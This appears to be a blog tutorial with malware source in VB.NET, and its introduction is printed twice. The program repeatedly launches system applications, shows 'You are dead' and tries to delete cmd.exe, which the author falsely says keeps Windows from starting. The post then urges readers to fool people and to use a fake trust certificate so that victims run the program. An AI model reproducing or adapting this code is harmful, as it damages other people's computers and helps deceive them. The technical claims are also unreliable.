Making a Virus in VB.NET
DISCLAIMER: Try out this code at your own risk. We’re not responsible for any damage resulting from use of this code.
This is a very simple virus. It just starts a whole lot of programs and then after 10 seconds deletes the command file of windows so that the computer can’t be started.
Make a new Windows application with only one form.
Add 5 timers to it. Change the interval of the first 4 timers to 100 and make the interval of the last one 10000.
The interval is in milliseconds. It means that the timer will execute its tick event once every interval.
The names of the timer should be Timer1, Timer2, and so on and the name of the form should be Form1.
Double click the form and the following code to the Load event:
CODE:
DISCLAIMER: Try out this code at your own risk. We’re not responsible for any damage resulting from use of this code.
This is a very simple virus. It just starts a whole lot of programs and then after 10 seconds deletes the command file of windows so that the computer can’t be started.
Make a new Windows application with only one form.
Add 5 timers to it. Change the interval of the first 4 timers to 100 and make the interval of the last one 10000.
The interval is in milliseconds. It means that the timer will execute its tick event once every interval.
The names of the timer should be Timer1, Timer2, and so on and the name of the form should be Form1.
Double click the form and the following code to the Load event:
CODE:
Timer1.Enabled = True Then add the following code to the timer events. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Process.Start("C:\Windows\System32\control.exe") Timer2.Enabled = True End SubPrivate Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick Process.Start("C:\Program Files (x86)\Internet Explorer\iexplore.exe") Timer3.Enabled = True End SubPrivate Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick Process.Start("C:\Windows\System32\paint.exe") Timer4.Enabled = True End SubPrivate Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick Process.Start("C:\Windows\System32\notepad.exe") Timer5.Enabled = True End SubPrivate Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick MsgBox("You are dead") Timer1.Enabled = False Timer2.Enabled = False Timer3.Enabled = False Timer4.Enabled = False Kill("C:\WINDOWS\system32\cmd.exe") Timer5.Enabled = False End Sub DONE!.This is just a small demo. You can make endless things to fool people using a GUI application. You can also give the application the fake Trust certificate, so that the people will feel it as a genuine application and run it. BYE!
No comments :
Post a Comment